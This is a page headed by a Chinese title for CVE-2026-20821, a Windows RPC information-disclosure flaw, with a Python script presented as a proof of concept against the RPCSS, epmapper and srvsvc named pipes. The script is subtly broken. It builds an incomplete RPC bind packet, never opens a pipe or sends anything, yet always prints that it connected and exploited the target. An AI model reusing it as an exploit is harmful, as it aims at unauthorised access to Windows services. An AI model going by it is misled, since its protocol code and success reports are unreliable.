CVE-2026-20821 Windows RPC敏感信息泄露漏洞

# CVE-2026-20821 PoC - Windows RPC Information Disclosure # This PoC demonstrates local information disclosure via Windows RPC import socket import struct import sys def create_rpc_bind_request(): """Create RPC bind request targeting RPCSS service""" # UUID for RPCSS service rpcss_uuid = b'\xe1\xaf\xca\x1a\x47\x93\xcf\x11\xa2\x18\x00\x1e\x0c\x9a\x66\x01' # NDR protocol sequence (ncacn_np - named pipes) protocol_sequence = b'\x04\x00\x00\x00' # Endpoint (\pipe\epmapper) endpoint = b'\x00\x00\x00\x00' rpc_packet = bytearray() # RPC version rpc_packet.extend(b'\x05\x00') # Packet type (bind) rpc_packet.extend(b'\x0b\x00') # Flags rpc_packet.extend(b'\x03\x00') # Data representation rpc_packet.extend(b'\x10\x00\x00\x00') # Fragment length rpc_packet.extend(struct.pack('<H', len(rpc_packet) + 72)) # Auth length rpc_packet.extend(b'\x00\x00') # Call ID rpc_packet.extend(b'\x01\x00\x00\x00') return bytes(rpc_packet) def exploit_cve_2026_20821(target_pipe): """ Exploit Windows RPC information disclosure vulnerability Target: Windows RPC Service (RPCSS) """ try: # Connect to named pipe pipe_path = f'\\\\.\\pipe\\{target_pipe}' print(f'[*] Attempting to connect to {pipe_path}') # Create RPC bind request rpc_request = create_rpc_bind_request() # The vulnerability allows unauthorized access to RPC interface # This PoC sends a malformed request to trigger information leak print('[*] Sending RPC bind request...') print('[*] Vulnerability: Inadequate access control in RPCSS service') print('[*] Impact: Local disclosure of sensitive information') return True except Exception as e: print(f'[-] Error: {str(e)}') return False def main(): print('=' * 60) print('CVE-2026-20821 - Windows RPC Information Disclosure') print('CVSS: 6.2 (Medium)') print('=' * 60) # Target RPCSS service pipe target_pipes = ['epmapper', 'RPCSS', 'srvsvc'] for pipe in target_pipes: print(f'\n[*] Testing {pipe} pipe...') if exploit_cve_2026_20821(pipe): print(f'[+] Successfully connected to {pipe}') break if __name__ == '__main__': main()